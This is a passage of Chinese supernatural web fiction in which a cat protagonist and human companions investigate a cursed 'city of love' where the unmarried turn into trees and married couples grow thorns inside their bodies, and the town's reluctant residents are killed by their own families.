“图多盖洛小姐年纪还小,一定要这么快结婚吗?”夏炫问:“就算不结婚会变成怪物,它离那个年纪,也还差很多吧。夏洛特还没有结婚,她今年十八岁了,而图多盖洛才两岁,这样算,就算再过十六年它不结婚也没什么关系,没必要这样急。” 莉兹睁大眼睛,“是哦……” 她好像才意识到年龄的问题。 夏炫继续说:“两岁的小孩子有很多的朋友是件正常的事情,所有人喜欢她也属正常,所以……” 真没必要拿剪刀把他们肢解啊! 莉兹拧着的眉渐渐松开,放下了敌意。于是几个人趁热打铁,从变得友善的女孩身上询问线索。 “为什么一定要这么早结婚呢?” 莉兹:“大家都说,不结婚就会变成怪物。而且,”她弯了弯眼睛,露出一个恍惚的笑容,“能和相爱的人相伴一生,是一件很幸福的事情,不是吗?我们红心镇是爱之城,没有爱人,是很羞耻的。” 是因为害怕变成怪物,所以积极追求真爱? 小咪:“喵呜喵呜。” 猫今天见到了一个浑身披着树皮的人,她的家门口有一片茂密的玫瑰花林。 “你说的一定是蕾贝卡小姐。蕾贝卡小姐是位很奇怪的人,她其实长得很漂亮,像图多盖洛一样,曾经是镇上最美丽迷人的姑娘。可她不愿意结婚,拒绝所有的追求者。在她家门口盛开的玫瑰花,就是追求者们留下来的。”莉兹抓住小咪的爪爪,“你不要学她!” 小咪:“喵!” 猫还只有两岁呢,猫不急。 几个人心中一动,不结婚的蕾贝卡小姐显然是小镇上的异类。更重要的是,她坚持没有结婚,变成披着树皮的怪物,却没有死去,说明结婚不是必死条件,只会让人变得奇怪。 等莉兹小姐抱着小咪离开,夏炫抓住自己的手臂,透过衣物,手臂传来僵硬的质感。不知不觉,整条手臂都变得麻木了,他往衣袖往上挽,褐色的树皮覆盖在皮肤上,曲指敲击尤带木声。 “变异的速度好快。” 夏双双点头,把裤脚上挽,脚踝处已经木化,“按这个速度,明天我们再不登记结婚,后天全身都会覆盖一层树皮。” 身体木质化后,倒没有什么别的感觉,就是动作迟缓了一点。当然,在这个诡异的小镇上,每个人都是隐藏的怪物,行动变得缓慢是致命的。 “但是,”谢临风把玩着小鹦鹉,“我们之前的推断错了一点,一直拖着不结婚,也只是变成树人怪,不会死亡。既然这样,为什么小镇上只有一个蕾贝卡?难道没有其他坚持不婚的人,如果有,他们去了哪里?” 夏炫想到了打开窗户时,差点剪断脖子的剪刀,慢慢说:“我好像知道他们去了哪里。” “……他们被当作令家人蒙羞的存在,被亲人杀死了。” 在现实中,国外一些地方流行荣誉谋杀。为了家族荣誉,凶手亲自谋杀家庭成员。 受害者被杀的理由有时是被侵`犯,有时是打扮时髦,有时是不肯接受家族联姻,或是想要离婚。 而在这座小镇中,被亲人杀害的理由是不肯结婚。 透过敞开的窗,对面房屋墙壁涂鸦赞美真爱,五彩的颜色热情洋溢,正如这座种满玫瑰花的小镇。拨开美丽的花朵,却能看见藏在绿叶下,密密麻麻尖锐的刺。 ———— 姐姐把小咪放在针线篮里,外面用一层绒布盖上。 伯爵夫人瘦高笔直的身影就立在家门口。她双手交叉,放在腹部,面孔被月光照射,笼着层冷白的月光。 “莉兹,你去了哪里?” 莉兹露出微笑,“我去外面散散步。” “你看见图多盖洛了吗?” 小咪藏在篮子里,身体缩成一团,爪爪压住尾巴。 “没有,母亲。”莉兹越过伯爵夫人,一手压住绒布,往庄园里走。 伯爵夫人喊住她,“篮子里装着的是什么?” 小咪把头埋在爪爪之间,一动不动,姐姐的手压在它的后颈上,手指陷入柔软的毛里。莉兹回头,微笑着说:“是富尔门警长送给我们图多盖洛的礼物,他喜欢小妹妹,想让我帮忙送一个礼物给她。” 伯爵夫人表情稍微缓和。 趁这个机会,莉兹快速地回到房间,来到三楼,将小咪放在床上。她摸摸小猫的头,“明天母亲就会消气的,好好睡一觉。” “喵呜。” 小咪趴在被窝里,脑袋枕着枕头,乖乖闭上眼睛。 莉兹照例俯身,在它的额头落下一吻,“晚安,我的小妹妹。” “喵呜。” 等姐姐离开,小咪翻身从床上跳了起来,跑到窗台,往下面张望。苏特已经不在那儿了,但在翠绿的草坪上,多了一棵玫瑰树,树上开满灿烂的玫瑰,每一朵花都向着窗后的小咪。 小咪:“喵……” 它想起了刚穿来时餐桌上的对话。 ——“就算所有人都因为图多盖洛死了,那也不是她的错,谁让您把它生得这么可爱迷人!” “但是,图多盖洛会被当作杀人犯的。” 原来是这个意思。 第93章 第二天,阳光透过淡绿色的窗帘洒落在桌上,小咪醒过来,打了个哈欠。它从被子里爬出来,伸了个长长的懒腰,坐在枕头上舔舔自己的毛,抬起小爪子,认认真真洗完脸,再把爪爪舔得又粉又嫩。 做完一套清洁工作,猫才跑到门边,用头一撞。 门没有开。 小咪跳起来,爪爪勾住把手,却依旧没打开门。它尝试几次,明白过来,门被锁住了。 “喵喵喵!” 猫拖长嗓音在门后大叫。 伯爵夫人声音从门后响起, “图多盖洛,这是惩罚, 你不能再到处乱跑了。哪有像你这样, 深夜跑到别人家的女孩子?” “喵喵喵——” 可是姐姐也出去了。 “莉兹已经结婚了,才能自由行动,”母亲的态度强硬,声音听上去怒火未消, “总之,别想着乱跑了。” “喵呜。”小咪抬起爪子,把门挠得砰砰响,但这无法打动铁石心肠的母亲,她和不许猫进浴室的室友一样,拿出了十二分的坚决。 “喵!” 猫本来就不喜欢走门。 小咪跳到窗边的木桌, 探头往下看,草坪上的玫瑰树依旧在。当小猫从窗后冒头时,灿烂而大簇的血红玫瑰轻轻摇摆,好像在向它献殷勤。 “喵。” 早上好。 小咪朝它打了个招呼。它伸出爪爪,扣窗户上的插销。 “图多盖洛。”伯爵夫人似乎猜到她的想法,出现在窗下,不过此刻,她的手里拿着一把斧头——昨天晚上分尸哈特全家的斧头,砍得卷了刃,沾满乌黑血渍的斧头。 黑色连衣裙更加衬得母亲的肤色惨白,她抬头看着小咪,眼里好像有火在烧,“图多盖洛,你想跳窗跑出去吗?” 小咪往后退了一步,三瓣嘴嗫嚅:“喵呜。” 开窗户透透气,妈妈。 妈咪。 嗲嗲的叫声总算唤起伯爵夫人心中不多的母爱。她看了小咪一眼,喊:“夏洛特,莉兹,看好你们的小妹妹,别让她出去了。” 小咪只好跳到床上发呆。 没多久,一只小鸟探头探脑飞到了窗台。 “咪咪。” “喵!” 信使传来夏炫轻快的声音,“你被关起来了吗?” “喵。”猫沮丧地垂下尾巴,说明情况,也和他们说了猫的新发现。 “没有得到回应的爱会让人变成玫瑰树?难怪蕾贝卡小姐门前那么多玫瑰了,”人类安慰小猫,“没关系,咪咪,你先再家里睡一觉,我们想办法来救你。” “喵!” ———— 夏炫看向其他两个人。 “咪咪被伯爵夫人关禁闭了。” “这简单。”谢临风眨了下眼,“我们还有富尔门警长啊。” “汪。”地上坐姿端正的闪电站了起来,尾巴轻轻摇晃。 “第一次去看丈母娘,空手不太好。”几个人类一起帮小狗准备礼物,将礼物放在了篮子里,让小狗叼在嘴里,“富尔门警长,都交给你啦。表现好一点,让岳父岳母满意,记得把我们的图多盖洛小姐约出来。” “汪!” ———— 在猫猫狗狗幸福约会时,人类则要认真分析鬼域线索。 红心镇街道开满玫瑰花,空气里弥漫花的芬香。 但现在他们看这些玫瑰树,多少有些悚然。树是爱而不得的人变成的,树下的泥里不知埋着多少尸体作花肥。 “你们知道花吐症吗?”谢临风见两个人齐摇头,自顾自解释:“爱意在心里堆积,无法宣之于口,只能变成鲜花,从人的嘴里吐出来,很美,但对患者而言,很痛苦。” 夏双双:“口水也要和花一起流出来吗?哪里美了?” “队长,你太直女了!”谢临风叹口气,“无法言说的爱意,变成了花朵,代替话语从口中吐出,爱意不能隐藏,相爱的人也能得到幸福。我相信,在最开始,这个鬼域是因为爱诞生的了。” 夏双双冷哼一声,“我可不觉得吐出一朵口水花有什么可爱的。” “最初设想是好的,但为了追求爱而爱,就变了性质。”夏炫发现一个盲点,“小咪这么可爱,在舞会上,明明很多人都在看她,为什么只有苏特变成了树?” 他们来到大街上,几个和苏特年龄相仿的少年无所事事地蹲在路边,撵鸡追鸭。 在夏炫拿出几颗漂亮的玻璃弹珠后,少年们眼睛直了,很快泄露了苏特的秘密。 “他太喜欢图多盖洛小姐了,所以偷偷钻进教堂,对着玫瑰花树许愿。”一个褐色短发的少年鼓起腮帮肉,说:“只有结婚时,新郎新娘才会在玫瑰花树下接受赐福,我们知道这样是不对的。” 他抬起眼睛观察大人的脸色,见他们没什么责怪的表情,也得到不会告家长的承诺后,就继续说:“但苏特说,玫瑰花能够让图多盖洛小姐也爱上他,花树可以赐福相爱的人,所以他就偷溜进去了。” “唉。”少年叹了口气,“这太冒险了,都怪图多盖洛小姐,长得这么可爱迷人。” ———— “阿嚏——” 小咪坐在饭桌上,打了个喷嚏,伯爵夫人的眼神凌厉,不悦地看它一眼。 “喵呜。”小咪低下头,舔着银盘里的牛奶。 现在是相亲局? 闪电坐在它的对面,父亲母亲姐姐很喜欢这个准女婿。透过桌上的银光闪闪的烛台,小咪看见的是警局望见的青年。 黑色头发,五官英俊,眼睛温和。 他抬起眼,透过烛台与小咪对视。 桌上的小猫歪了歪脑袋,砸吧砸吧嘴,舔掉嘴巴上的牛奶,“喵呜。” 吃了简单的下午茶,家人们自觉给它们让出独处的空间。小咪跳到黑背的身上,开始在它肚皮踩奶,边踩边给狗子舔毛。 “图多盖洛,”母亲的脑袋从楼梯伸出,“你要矜持一点。” “喵。” 家长对富尔门警长相当满意,因此,在他提出想要图多盖洛小姐一起散步时,母亲欣然应允,姐姐拉着小猫的耳朵,蹲下来轻声提醒她要表现得淑女一些,不要对着富尔门警长伸爪子啦。 总之,在家人们含笑的凝视下,猫猫狗狗一起走出了庄园。 最开始,他们还在花园里散步,伯爵家有一大片草坪,翠绿色的青草、修剪漂亮的花墙。一转到花墙后面,确认家人们再看不见自己,小咪撒开爪子,在地上奔跑,跑了没一会,在草坪打滚,蹿到树上磨爪子,扑花枝上的蝴蝶。 闪电站在一边,静静看着撒野的小猫。 小咪玩了会,甩了甩毛,漆黑长毛像滚筒洗衣机一样抖动,细碎的草屑纷纷扬扬甩飞。被关久了的小猫,这才想起要找人类。 “喵。” 小咪往前跑了几步,回头看眼瘸腿的狗子,就停下来,趴在地上,静静等它。 ———— 这时,夏炫他们已经跟随少年们,来到了教堂前。 教堂外用高墙围起,透过铁艺大门往里看,能看见那棵巨大的玫瑰树。这棵树比所有人见过的树都要大,几十米的大树上开满鲜红花朵,醉人的香气将天空染成绯红色。 这样一棵树本该很显眼,可当少年带路时,他们才好像真正看见它。 少年绕到围墙边,“咦,这里以前有个洞。可能是被修好了,这样就不能偷偷进教堂了。” “那怎么才能让教堂的门打开?” “不是和你们说过了嘛,只有结婚的时候,才能走入教堂,接受玫瑰树的祝福。” ———— “所以,我们要不要先去结个婚?” 所有人都察觉到了那棵巨大玫瑰树的异常。或许污染源就是玫瑰树,这座小镇的异变,都与它相关。他们不能翻过教堂,如果想更近一步搜集线索,只能以结婚为理由,进入教堂之中。 但在这个小镇,结婚并不意味着是件好事情。 “我去结吧,”夏炫说:“我的身体半边都已经木质化,不抓紧点,树皮要长到脸上了。” “你和谁结?” 夏炫最想和小猫结婚,但显然,这是不可能的事情了。他这个卑微的老男人,怎么可能比得过年轻力壮的战争英雄富尔门警长呢?真敢大胆拐小猫结婚,伯爵一家能把他剁成粉末当花肥。 他的目光转了一圈,落在了谢临风的头顶,“要不,借你的鸟给我用用?” 小鹦鹉扑棱着翅膀,大声喊:“丑拒!丑拒!丑拒!” “我们还要去见一见蕾贝卡小姐。” 作为小镇唯一还存活的反抗者,蕾贝卡小姐显然很特殊。她的屋子也不难找,茂密的玫瑰树林中,一栋淡蓝色的小屋。屋外繁茂的玫瑰花,都曾经是被蕾贝卡拒绝的追求者。 但这并不是她的错。 三个人都认同这个观点。 他们在街道找了一圈,顺利便找到被簇拥在玫瑰花丛中的小木屋,从外表上看,这确实像极了童话里出现的房屋,就在他们往前一步,踏入花园时,“砰”一声巨响,泥土飞溅,地上出现好几个弹孔。 木屋的窗户打开一条缝隙,黑洞洞的枪口对准了他们。 而拿火枪的人藏在暗处,只露出条粗糙、凹凸不平,好像老树枝的手臂。 “蕾贝卡是个很危险的人。”昨天晚上,莉兹曾经提醒过他们。 如果她不危险,也许会被整座小镇秘密“荣誉谋杀”。 蕾贝卡用枪指着他们,如果他们敢再往前踏入她的领地一步,就会被她射成筛子。 夏炫注意到,在许多玫瑰树干上,都留下了密密麻麻的弹孔。这是蕾贝卡反抗的痕迹,她像头母虎凶悍地护卫自己的领地,不留恋虚幻美丽的爱情,如果有人敢往前一步,她会毫不客气地将入侵者撕成碎片。 三人停在花园外。他们并不是没有硬碰硬闯进去的办法,但这样就有可能得罪蕾贝卡,问不出关键线索。 夏炫放出信使,表明来意,话还没说完,一梭子子弹就射过来,幸好他的信使翅膀扇得快,才从枪林弹雨里逃出,躲在了一颗玫瑰树后,一冒头就响起了子弹的尖啸。 “杀鸟啦!杀鸟啦!”戏精看见同类遭殃,吓得鸟毛乱飞。 显然,蕾贝卡的态度十分强硬和坚决,抗拒一切人的靠近。 “这可糟了,影子都收不回来,她根本不听我们的话啊。” “喵呜。” 一只小黑猫蹿出,大摇大摆蹦蹦跳跳地跑进了花园。 “咪咪?小心!”几个人的心都吊在了半空。 “喵?”小咪歪歪脑袋,不解地看他们一眼,跳到玫瑰树后,挠了挠爪子,然后轻轻叼起信使,送回人类的身边。 第94章 为啥啊? 凭啥啊? 这些npc, 就知道区别对待! 几个人类心里在逼逼赖赖,但一看见抬起脸坐姿乖巧的小猫,也很理解npc 。直立两脚猿,就是很难抵挡小猫的诱惑。 “拜托你啦,小咪,”夏炫蹲下来, 揉揉小咪的头,“去和她说一声,我们是外来人,对她没有恶意,而且我们都还没结婚呢。” “喵!” 小咪蹦蹦跳跳地跑进花园里。闪电跟在它身后,一瘸一拐地往里走,谢临风见状连忙拉住它,“你可是镇上的警长, 她肯定会对你开枪。” 闪电的尾巴沮丧地垂了下来,模样恹恹地守在花园外。 没多久, 小咪圆圆的脑袋从窗台探出, 朝他们叫了声。 “喵。” 人, 可以进来啦。 几个人进入房间中。屋内干净整洁,壁炉散发温暖的光,炉旁铜制器皿擦得发亮, 门框悬挂的风铃叮铃铃响。 蕾贝卡小姐应该是个很爱生活的人。 夏炫心中闪过这样的念头,目光快速扫过屋里,落在墙壁贴着的图纸上。 图纸颜色泛黄,边边角角微微翘起。当他借着壁炉闪烁的炉火定睛看时,心中不由一惊——这是一张老旧的地图。 没等他仔细看,角落里发出的声音吸引了几个人的注意。 声音沙哑、恐怖, 像是枯朽的树洞里飘来的风。 他们顺着声音看过去,就算做了心理准备,也不由吓一跳。 站在角落的人形生物,或许已经不能称之为人了,更像是一棵丑陋粗糙的枯树。他们试着从粗糙褐色的树皮下,看见镇上最迷人姑娘的面容,但她的肌肤粗糙崎岖,树皮上什至还有一个个漆黑的虫洞,洞里雪白的虫子扭动。 夏双双倒吸一口凉气,很佩服这姑娘。她有这么多追求者,却宁可看着自己变成这样,也不愿意妥协。 蕾贝卡动作僵硬,树枝一般的双臂拢在胸前。小咪往上一蹿,跳在她的怀里。 “喵呜。”猫爬树超熟练的。 蕾贝卡的目光充满敌意。 如果不是看在小猫的份上,她不会给几个人机会进入小屋。 夏双双抓紧时间,直接表面来意,“我们遇到了一些麻烦,想要得到你的帮助。” 蕾贝卡朝他们缓缓走过来,她的身体异于常人般瘦高,老树皮上一双黑色的眼睛轻轻眨动。 她从昏暗角落走出,几个人才发现,蕾贝卡畸变的手指一米多长,上面长满尖刺。如果她突然发难,能把人像鸡蛋一样捏碎。 三人不由悄悄召出影子,做好防备。夏炫则是紧张地看着她怀里的小猫,生怕她一动,身上的尖刺刺穿小猫柔软的身体。 但蕾贝卡只是用自己没有长刺的手臂内侧,动作轻柔地将小猫拢起。她满怀敌意地看外来者,并不想和他们好好谈的模样。 就算她放他们进来,也是看在小猫的份上,想让她开口,没这么容易。 夏炫心想,为什么蕾贝卡对小猫的好感度那么高呢? “喵呜。”小咪在蕾贝卡怀里翻了个懒腰,前肢后肢伸得长长的,将自己抻成一根猫条。其他人看得心惊胆战,就怕它不小心撞在蕾贝卡满身的刺上。 蕾贝卡伸出手指,树枝枝尖在猫的下巴点了点。 “呼噜呼噜。”小猫眯起眼睛。 夏炫心中一动,忽然意识到蕾贝卡对小咪特殊的原因——不是因为小猫魅力天成,或者说,不只是因为如此。 在红心镇上,特立独行、迟迟不肯结婚,就会被家人们嫌弃。最后家人不堪忍受其他人异样的眼光,选择将孩子荣誉谋杀。 但蕾贝卡就算被视作怪物,也还好好活着,而伯爵家的情况也类似。 不肯结婚的夏洛特、喜欢上“老男人”的小猫咪,连唯一结婚的大姐,同样是嫁给一个条件不太好,父母并不满意的人。 就算觉得有失脸面,伯爵夫妇也没有对女儿下手。 她和小咪之间的共同点在于,她们都有很爱自己的家人。 “你的亲人一定很爱你吧。”夏炫看似无意地感慨一句。 蕾贝卡轻轻眨了下眼睛,身上尖锐的敌意顿时消失了许多,“我想当一个航海士。” 她走到地图前,“我的祖父并不是本地人,他是个航海士,四处游荡,偶然来到红心镇上,一进来没多久,就发现自己已经无法离开,只能在这里结婚、生子,生活下来。在他小的时候,总和我说航海的故事,我也想像他一样,航海、冒险、去寻找海上的宝藏。” “咪?”小咪趴在她的手臂上,盯着地图发呆。 在图上,红心镇五条街道交错,一竖两横两斜线,就好像一个手脚修长的人形。在躯干左上方,有一个红心的标志。 “这是教堂的位置。” 虽然地图画得很简略,但三人还是认出来了红心代表着什么。而更令他们心惊的,是红心镇只是地图的一部分,在小镇外,还有更加广阔的区域。 一个鬼域npc绘制的暗世界的地图! 他们交换了个眼神,把地图记下心底。 蕾贝卡:“但是,在这个小镇上,一结婚就永远也无法走出去了。” “所以你宁愿变成这样,也不愿意和他们结婚?可是你并没有接受任何人,为什么同样离不开这座小镇?” 蕾贝卡叹了口气,“他们不许我离开。” 他们? “镇民吗?” 蕾贝卡:“在他们眼里,我是个怪物,也是一个谋杀犯。” “喵呜。”小咪忍不住插嘴,家人们早就和咪说过,就算所有人因为图多盖洛死了,这也不是她的过错。 ” “我的祖父也总这样说—— “就算所有人都因为蕾贝卡死了,和她有什么关系。那么多航海士死在大海之中,难道还要去怪海洋吗?海洋那么迷人但危险,就像女孩子心一样,”老爷爷将孙女放在膝盖上,对着小屁孩们招手,“想要追到女孩子,那就来吧,快点扬帆启程,她这么可爱迷人,她就在这里啊!” “一个异类才能包容另外一个异类,祖父在红心镇结婚生子,可他内心并不属于这里。他和祖母并非相爱,他的爱是大海,祖母知道这一点,却依旧因为害怕变成木头,嫁给了他们。他们婚后过得很痛苦,每天都能从嘴里吐出刺。” “喵?” “吐刺?” 蕾贝卡点头,“在这个小镇上,爱和恨都具体化了。爱意能变成花,恨意能会变成尖刺。在最开始,祖母祖父以为他们两互相不讨厌,勉强过一辈子,只要不变成树就好。但结婚没多久,日夜和不喜欢的人相对,他们还是无可避免地开始憎恶对方,从内脏长出一根根尖锐的刺。” “后来,祖父厌倦了一切,不再每天吐出尖刺,心里堆淤的刺扎穿了他的心脏。”蕾贝卡轻轻叹口气,“我的父母最开始也是相爱的,他们坚持的时间长了很多,可到最后,还是相看两厌,对彼此都诞生了嫌恶……” “有一天,父亲母亲因为谁洗碗这件事吵了一架,第二天,父亲从喉咙里吐出口带血的刺,当天下午,他就自杀了,第二天早上,我们发现母亲时,发现她吊死在了窗户上。这就是我不愿结婚的理由。” 几个人听得目瞪口呆。 “既然这样,”夏炫喃喃:“不结婚最多变成树,总比尖刺从肚子里长出来、扎穿内脏好啊。为什么大家还要这么急结婚呢?” “因为并不不致死。”夏双双说:“就像婚姻里那些并不要紧,但影响感情的小摩擦,像鞋子里的小石子、白米饭里的一粒沙,在其他人看来,这些都是小事,只要忍受就好了。忍着忍着,一辈子就过去了,只有真正相爱的人,像你的父母那样,无法忍受自己居然对爱人产生了怨恨,才会受不了这样的折磨,选择自杀。” “这本来就是无法避免的事情。母亲告诉我,就算再相爱的人,也会在某个瞬间,对伴侣产生没来由的不满厌憎。在普通的婚姻里,这样的厌恶是可以隐瞒,随时间消弭的,但在红心镇里,恨与爱同样无法隐瞒,所以我不愿意结婚。如果从口里吐出刺,我想我会忍不住勒死自己的伴侣。” 蕾贝卡来到圆桌前,将小猫放下,拿起铜壶,为自己泡了一杯茶,还扯了几片花瓣丢进茶里,动作优雅地喝茶,“因为结婚誓约的关系,如果伴侣死后,自己也活不了多久。自从走入教堂,结为夫妻的那瞬间,两个陌生人就绑定在一起,终生都走不出这座小镇了。” 从蕾贝卡小姐家走出来后,天空泛起玫红色的彩云,三个人的步伐都很慢,身体木质化速度很快,硬邦邦的脚底踩在地上,会发出踏踏的声音。 他们现在知道,从规则上而言,变成树人并不致命。致命的是,这些维护着爱之城的本地居民们。 在玫红色晚霞的照耀下,每个人的脸上都透出淡淡的血光。和蔼的大婶、热情的老板、无所事事的男人,都在斜着眼睛悄悄打量他们。恶意的目光无处不在,但当他们将脸扭过去与之对视时,他们却集体偏过脸,假装并没有在偷看。 来到市政厅门口,木牌上挂着上班时间与下班时间。 谢临风问:“真的要进去登记结婚吗?现在已经知道,在这个小镇规则里,不结婚反而是比较保守的选择,除了长相可怕,不会再有什么危险。蕾贝卡可说过,一结婚,我们就不能离开了。” 夏炫弯起眼睛,笑着说:“真正的危险并不是规则,你没感觉到吗?自从我们从蕾贝卡的房间里走出来,镇民看我们的眼神就变得很奇怪了,我们和蕾贝卡接触,已经成为他们的眼中钉肉里刺,我们又没有蕾贝卡那样的本事,所以只能先表面自己的态度,向他们投诚啦。” “而且,只有结婚仪式,教堂门才会打开,我们才能接触到那棵玫瑰树。”夏双双推开门,坐在镇长对面,表面来意,“我们想要结婚。” 镇长抬起圆脸,笑着说:“想要结婚?好呀,”他激动地搓手,“好呀!这可是好事啊,不过……”他担心地看着乖巧坐在桌上的小猫,“你们还是想和这位小姐结婚吗?” “喵?”小咪舔舔爪爪。 “汪。”闪电忍不住轻轻叫了声。猫不会和人结婚,猫要和狗结婚。 镇长脸上的笑容便更加灿烂了,一副松口气的模样,“图多盖洛和富尔门是很配了,整个小镇上,只有富尔门才配得上图多盖洛。” 几个人类:? 好嘛,他们就配不上小猫吗? “但是今天不能举办婚礼。”镇长扶了扶眼镜,表情纯良,“快到下班时间了。” “宽融一下嘛镇长。” 镇长摇头,白花花的胡子往上翘,笑着说:“再不早点回去,面包房里的甜甜圈快卖完了,要是没买到,我老婆就该骂我啦。” 虽然这样说,他的脸上却洋溢着幸福的表情。 几个人类对视一眼,心中产生怀疑:他这么大年纪,婚龄应该也很长,在漫长的婚姻里,居然没有对伴侣产生一丝厌恶吗?纯爱是真实存在的? “喵?”小咪慢条斯理抬起爪爪洗个脸,对着他叫:“喵呜。” 猫问他,爷爷结婚多久啦? 镇长看上去很喜欢这只小黑猫,抚摸它的小脑袋,像个宽厚老者对着孙辈,温柔地说:“很久很久了,自从我们十六岁相爱到现在,我们刚来到红心镇时,这儿还没有这么多玫瑰花,镇子上第一棵玫瑰树,还是我们两亲手种下的。” 小咪耳朵抖了抖,“喵呜?” 第一棵,是教堂里的那棵吗? “是啊,不知不觉,它已经变得这么大啦。当年我们还在玫瑰树下面许誓,希望红心镇能变成一座爱之城,所有相爱的人,都能够在一起。这是最开始,小镇唯一的规则。” 第95章 小咪低头,心不在焉地舔着盘里的牛奶。 “吧唧吧唧。” 猫不会像人类一样喝水,它要伸出舌头,往上一卷,慢慢舔舐着牛奶。 它在思考人类的话。 “最初的规则是好的,想要相爱的人永远在一起,怎么说都不能算有恶意。在这个古板的时代背景下,等级森严,自由恋爱是稀少而珍贵的东西,所以,爱之城才吸引来这么多人。但是……” “但是,规则被扭曲了,本来是为了自由而存在的爱之城,反而变成了爱情的牢笼和坟墓。碎片是深渊留下的,有可能是他们污染了小镇, 也有可能,是所有镇民共同的执念造成这个结果。” 小咪慢慢想着,忽然盘子被人拿走,舌头舔在了桌布上。 “喵呜。” 一抬头,家中五道视线一齐在注视着它。 小咪从容舔舔嘴巴,“吧唧吧唧。” “图多盖洛,你对富尔门警长感觉怎么样?” “喵。”猫喜欢这条安静的狗子。 母亲表情严肃,双手交叉,放在桌上, “你今天的表现也太不淑女了,怎么能对富尔门警长露出爪子呢?” “喵呜。”它又不在意! 猫大声反驳。 “图多盖洛,你真是越来越不乖了。”伯爵夫人表情失望。 小咪歪歪头,打量着饭桌上的一家人。 他们会每天悄悄吐刺吗? 刺从内脏里长出来会疼吗? “喵——呜。”小猫长大嘴巴,打了个大大的哈欠。伯爵家的饭桌很长,够给猫跑酷了,每个人似乎都相距很远,像这些银质的餐具,闪着闪耀却冰冷的光。 “你下午去找蕾贝卡了?”伯爵开口,灰色的眼珠子盯着舔爪子的小黑猫。 蕾贝卡似乎是镇上的一个非常敏感的点。 小咪注意到,当父亲说完这句话,长餐桌上的几个人表情变得古怪,伯爵夫人拿起了银质餐刀,姐夫也握紧手里的叉子。 猫的警告雷达在不停响: 镇民们无法杀死蕾贝卡,就会尽力杀死一切和蕾贝卡有过接触的人。 ——“回去以后,你的家人也许会问起和蕾贝卡小姐接触的事情。小镇原住民对蕾贝卡的仇恨度很高,在他们看来,蕾贝卡的存在是爱之城一个无法抹去的污点。当有人问起蕾贝卡时,你们最好坚定表达自己立场,让镇上居民以为,你是站在他们那边的。” 小咪想起临别时人类的嘱托,头高高扬起,金色的眼睛瞪圆,理直气壮地瞪了回去,“喵喵喵。” 猫要和闪电结婚! 明天就结婚! 这个重磅消息砸得家人们昏头转向,马上忘记问罪它去蕾贝卡家的事了。 莉兹开心地笑了起来,“我的天,这么快就要结婚了,可我还没来得及给小妹妹准备礼物呢。” 伯爵夫人默默站起身,看它一眼,提起裙子转身离开。 “幸好我早早为你们备好了嫁妆。”走到楼梯口时,她不忘点一下夏洛特,“只剩下你了,夏洛特。” 红发女孩“啧”了声,丢下餐具扭头跑回自己房间。 莉兹抱起小咪,脚步轻巧地踏上楼梯,“图多盖洛,怎么说得这么突然?哦,我不是不许你结婚,只是太突然了,我本来想为你亲手缝婚纱的。” 结婚的前一天,姐妹之间当然有很多的话想说。莉兹关上门,用被子拢了个窝,把小猫放在里面。 “小妹妹,你真的决定好要和富尔门警长结婚吗?” “喵呜。” 莉兹捏捏小猫的爪子,轻叹一口气。小咪看见,姐姐微蹙眉,脸上居然有一丝忧愁。 “喵呜?”它歪头,将脸颊贴在姐姐的手上,抬起圆溜溜的眼睛,可怜巴巴地看着她。猫知道,摆哪种pose对人最有杀伤力。 果然,莉兹倒吸一口凉气,忍不住低头,亲了亲小猫的额头。 “小妹妹,你这么可爱,富尔门先生一定会永远喜欢你的。” “喵!”那是自然的喵。 小咪骄傲地舔舔鼻子,又抬起眼睛,喵喵喵几声,问姐姐,姐夫戴维也喜欢姐姐吗? 莉兹沉默了很久,手指从小咪的后脑勺划到尾巴根,慢慢地在它的尾巴根大圈。小咪舒服地眯起眼睛,身体紧挨着姐姐的大腿,呼噜呼噜引擎启动,全身的毛都在抖动。 “最开始肯定是喜欢,不然,我们怎么会结婚呢?”莉兹眼神犹疑,说着,突然捂住嘴巴,肩膀颤抖,咳嗽了几声。她看眼掌心,攥紧了手掌,但小咪还是闻见了一股淡淡的咸腥味。 “喵喵喵。”它伸出爪爪,扒拉着姐姐的手臂,让猫看看,让猫看看。 莉兹用手一推,小咪就倒在了柔软的被子上,不满地喵呜嘟囔两声,嘴套子气得鼓囊囊的。 “图多盖洛,你别生气。” 小咪扭过脸,“喵!” “结婚是件很幸福的事情,只是偶尔会有一些不愉快,忍一忍就过去啦。” “她骗你!她骗你!”一头火红的头发从窗户垂下来。夏洛特那张神气的面孔倒悬着落下,对着小咪喊:“我亲眼看见,姐姐经常从嘴里吐出刺。嘻嘻。” 莉兹表情大变,“夏洛特,你再这样,我就要告诉妈妈了!” 夏洛特倒挂在窗口,身体晃晃荡荡,“她们骗你的,结婚一点都不好,肚子里会长出毒刺,如果每天都不及时吐出来,刺就会越长越大、越来越多,最后从身体里扎出来,扎穿你的心脏。” “夏洛特!”莉兹跑到窗前,一把抓住妹妹的红发,把她拽到了房间里面,合上窗户,“你怎么敢说这些!你是不是早就接触蕾贝卡了,妈妈跟你说过,她是个说谎的骗子,不要相信她的话。” 莉兹拿出了自己的针线篮。 夏洛特也毫不示弱,掏出一把大剪刀。 房间里线团乱飞,剪刀声咔嚓咔嚓。 “喵。” 小咪看着她们姐妹互撕,悄悄钻进被窝里,露出一个猫猫头,好奇地看着她们打架。等打到差不多了,它伸出头,叫了几声。 夏洛特和莉兹打架就和两只猫猫互挠一样,看着猫毛满天飞,其实双方都收着手,没有多少杀伤力。 听见小妹妹的声音,两个姐姐对彼此冷哼一声,收起武器,一左一右坐在了小咪的身边。 小咪偏头,蹭蹭这个,又蹭蹭那个,雨露均沾。小猫咪察言观色,看见两个姐姐表情都缓和了,便打了个可爱的哈欠,“喵呜?” 既然结婚会让人肚子里长刺,为什么大家还要催猫结婚呢? 莉兹轻叹口气,“不结婚的话,身上会长满刺,变得很可怕的。图多盖洛,你长得这么可爱,我不想看着你变成一个刺球。” “喵呜?” 猫会变成刺猬猫猫球。 莉兹:“刺猬猫猫球,听上去好像也很可爱哦。” “喵!”如果猫变成了树,会是什么样的猫树呢?是树长了一颗猫猫头吗?还是树上会长满猫呢? 莉兹双眼发光,“长满猫猫的树,听上去更可爱了哦。” 夏洛特“哼”了声,“身上长满刺又怎么样,我才不在乎!有刺就剪掉好了,总比和那些蠢货一起生活,每天要从肚子里吐刺幸福。图多盖洛,你今天看见了蕾贝卡,她怎么样?是不是压根没有变成什么怪物,还像以前一样美丽?” 红发女孩期待地看着小猫咪。 小咪舔舔鼻头。蕾贝卡已经很久没有出现在小镇上了,镇民们无法进入她的花园,也并不知道她现在的长相。 